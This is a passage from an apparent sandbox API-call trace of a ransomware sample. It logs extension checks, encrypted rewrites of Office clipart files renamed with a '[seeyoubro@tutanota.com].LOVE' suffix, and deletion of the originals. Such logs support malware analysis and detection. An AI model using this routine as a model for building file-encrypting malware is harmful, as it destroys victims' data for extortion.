lpString2="_.WMF") returned -1 [0219.520] lstrlenW (lpString=".ppt") returned 4 [0219.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0219.520] lstrlenW (lpString=".zip") returned 4 [0219.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.520] lstrlenW (lpString=".rar") returned 4 [0219.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.520] lstrlenW (lpString=".bz2") returned 4 [0219.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.520] lstrlenW (lpString=".7z") returned 3 [0219.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0219.520] lstrlenW (lpString=".dbf") returned 4 [0219.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0219.521] lstrlenW (lpString=".1cd") returned 4 [0219.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0219.521] lstrlenW (lpString=".jpg") returned 4 [0219.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.522] GetLastError () returned 0x0 [0219.522] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x3670, lpOverlapped=0x0) returned 1 [0219.628] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x3680, lpOverlapped=0x0) returned 1 [0219.630] ReadFile (in: hFile=0x2cc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.630] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.630] SetEndOfFile (hFile=0x354) returned 1 [0219.630] CloseHandle (hObject=0x354) returned 1 [0219.630] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.630] SetEndOfFile (hFile=0x2cc) returned 1 [0219.631] CloseHandle (hObject=0x2cc) returned 1 [0219.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0219.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0219.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0219.635] lstrlenW (lpString=".doc") returned 4 [0219.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.635] lstrlenW (lpString=".docx") returned 5 [0219.635] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.635] lstrlenW (lpString=".pdf") returned 4 [0219.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.635] lstrlenW (lpString=".xls") returned 4 [0219.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.635] lstrlenW (lpString=".xlsx") returned 5 [0219.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.635] lstrlenW (lpString=".ppt") returned 4 [0219.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0219.635] lstrlenW (lpString=".zip") returned 4 [0219.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.635] lstrlenW (lpString=".rar") returned 4 [0219.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.635] lstrlenW (lpString=".bz2") returned 4 [0219.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.635] lstrlenW (lpString=".7z") returned 3 [0219.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0219.635] lstrlenW (lpString=".dbf") returned 4 [0219.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0219.635] lstrlenW (lpString=".1cd") returned 4 [0219.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0219.635] lstrlenW (lpString=".jpg") returned 4 [0219.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.640] GetLastError () returned 0x0 [0219.640] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x45ba, lpOverlapped=0x0) returned 1 [0219.642] WriteFile (in: hFile=0x320, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0219.643] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.643] WriteFile (in: hFile=0x320, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.644] SetEndOfFile (hFile=0x320) returned 1 [0219.644] CloseHandle (hObject=0x320) returned 1 [0219.644] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.644] SetEndOfFile (hFile=0x358) returned 1 [0219.645] CloseHandle (hObject=0x358) returned 1 [0219.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0219.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0219.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0219.646] lstrlenW (lpString=".doc") returned 4 [0219.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.646] lstrlenW (lpString=".docx") returned 5 [0219.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.646] lstrlenW (lpString=".pdf") returned 4 [0219.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.646] lstrlenW (lpString=".xls") returned 4 [0219.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.646] lstrlenW (lpString=".xlsx") returned 5 [0219.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.646] lstrlenW (lpString=".ppt") returned 4 [0219.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0219.646] lstrlenW (lpString=".zip") returned 4 [0219.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.646] lstrlenW (lpString=".rar") returned 4 [0219.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.646] lstrlenW (lpString=".bz2") returned 4 [0219.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.646] lstrlenW (lpString=".7z") returned 3 [0219.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0219.646] lstrlenW (lpString=".dbf") returned 4 [0219.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0219.647] lstrlenW (lpString=".1cd") returned 4 [0219.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0219.647] lstrlenW (lpString=".jpg") returned 4 [0219.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.647] GetLastError () returned 0x0 [0219.647] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x2eda, lpOverlapped=0x0) returned 1 [0219.726] WriteFile (in: hFile=0x320, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x2ee0, lpOverlapped=0x0) returned 1 [0219.727] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.727] WriteFile (in: hFile=0x320, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.727] SetEndOfFile (hFile=0x320) returned 1 [0219.727] CloseHandle (hObject=0x320) returned 1 [0219.727] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.727] SetEndOfFile (hFile=0x358) returned 1 [0219.728] CloseHandle (hObject=0x358) returned 1 [0219.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0219.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0219.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0219.729] lstrlenW (lpString=".doc") returned 4 [0219.729] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.729] lstrlenW (lpString=".docx") returned 5 [0219.729] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.729] lstrlenW (lpString=".pdf") returned 4 [0219.729] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.729] lstrlenW (lpString=".xls") returned 4 [0219.729] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.729] lstrlenW (lpString=".xlsx") returned 5 [0219.729] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.729] lstrlenW (lpString=".ppt") returned 4 [0219.729] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0219.729] lstrlenW (lpString=".zip") returned 4 [0219.729] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.729] lstrlenW (lpString=".rar") returned 4 [0219.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.729] lstrlenW (lpString=".bz2") returned 4 [0219.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.729] lstrlenW (lpString=".7z") returned 3 [0219.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0219.729] lstrlenW (lpString=".dbf") returned 4 [0219.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0219.730] lstrlenW (lpString=".1cd") returned 4 [0219.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0219.730] lstrlenW (lpString=".jpg") returned 4 [0219.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.787] GetLastError () returned 0x0 [0219.787] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x7620, lpOverlapped=0x0) returned 1 [0219.850] WriteFile (in: hFile=0x388, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x7630, lpOverlapped=0x0) returned 1 [0219.851] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.851] WriteFile (in: hFile=0x388, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.851] SetEndOfFile (hFile=0x388) returned 1 [0219.851] CloseHandle (hObject=0x388) returned 1 [0219.851] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.851] SetEndOfFile (hFile=0x320) returned 1 [0219.852] CloseHandle (hObject=0x320) returned 1 [0219.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0219.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0219.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0219.853] lstrlenW (lpString=".doc") returned 4 [0219.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.853] lstrlenW (lpString=".docx") returned 5 [0219.853] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.853] lstrlenW (lpString=".pdf") returned 4 [0219.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.853] lstrlenW (lpString=".xls") returned 4 [0219.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.853] lstrlenW (lpString=".xlsx") returned 5 [0219.853] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.853] lstrlenW (lpString=".ppt") returned 4 [0219.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0219.853] lstrlenW (lpString=".zip") returned 4 [0219.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.853] lstrlenW (lpString=".rar") returned 4 [0219.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.853] lstrlenW (lpString=".bz2") returned 4 [0219.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.853] lstrlenW (lpString=".7z") returned 3 [0219.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0219.853] lstrlenW (lpString=".dbf") returned 4 [0219.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0219.854] lstrlenW (lpString=".1cd") returned 4 [0219.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0219.854] lstrlenW (lpString=".jpg") returned 4 [0219.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.854] GetLastError () returned 0x0 [0219.854] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x4712, lpOverlapped=0x0) returned 1 [0219.947] WriteFile (in: hFile=0x388, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x4720, lpOverlapped=0x0) returned 1 [0219.948] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.949] WriteFile (in: hFile=0x388, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.949] SetEndOfFile (hFile=0x388) returned 1 [0219.949] CloseHandle (hObject=0x388) returned 1 [0219.949] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.949] SetEndOfFile (hFile=0x320) returned 1 [0219.950] CloseHandle (hObject=0x320) returned 1 [0219.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0219.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0219.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0219.951] lstrlenW (lpString=".doc") returned 4 [0219.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.951] lstrlenW (lpString=".docx") returned 5 [0219.951] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.951] lstrlenW (lpString=".pdf") returned 4 [0219.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.951] lstrlenW (lpString=".xls") returned 4 [0219.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.951] lstrlenW (lpString=".xlsx") returned 5 [0219.951] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.951] lstrlenW (lpString=".ppt") returned 4 [0219.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0219.951] lstrlenW (lpString=".zip") returned 4 [0219.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.951] lstrlenW (lpString=".rar") returned 4 [0219.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.951] lstrlenW (lpString=".bz2") returned 4 [0219.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.951] lstrlenW (lpString=".7z") returned 3 [0219.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0219.951] lstrlenW (lpString=".dbf") returned 4 [0219.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0219.951] lstrlenW (lpString=".1cd") returned 4 [0219.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0219.951] lstrlenW (lpString=".jpg") returned 4 [0219.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.952] GetLastError () returned 0x0 [0219.952] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x2168, lpOverlapped=0x0) returned 1 [0220.065] WriteFile (in: hFile=0x388, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x2170, lpOverlapped=0x0) returned 1 [0220.066] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.066] WriteFile (in: hFile=0x388, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.086] SetEndOfFile (hFile=0x388) returned 1 [0220.087] CloseHandle (hObject=0x388) returned 1 [0220.087] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.087] SetEndOfFile (hFile=0x320) returned 1 [0220.088] CloseHandle (hObject=0x320) returned 1 [0220.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0220.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0220.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0220.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0220.088] lstrlenW (lpString=".doc") returned 4 [0220.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.089] lstrlenW (lpString=".docx") returned 5 [0220.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.089] lstrlenW (lpString=".pdf") returned 4 [0220.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.089] lstrlenW (lpString=".xls") returned 4 [0220.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.089] lstrlenW (lpString=".xlsx") returned 5 [0220.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.089] lstrlenW (lpString=".ppt") returned 4 [0220.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0220.089] lstrlenW (lpString=".zip") returned 4 [0220.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.089] lstrlenW (lpString=".rar") returned 4 [0220.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.089] lstrlenW (lpString=".bz2") returned 4 [0220.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.089] lstrlenW (lpString=".7z") returned 3 [0220.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0220.089] lstrlenW (lpString=".dbf") returned 4 [0220.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0220.089] lstrlenW (lpString=".1cd") returned 4 [0220.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0220.089] lstrlenW (lpString=".jpg") returned 4 [0220.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.090] GetLastError () returned 0x0 [0220.090] ReadFile (in: hFile=0x320, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1ec6, lpOverlapped=0x0) returned 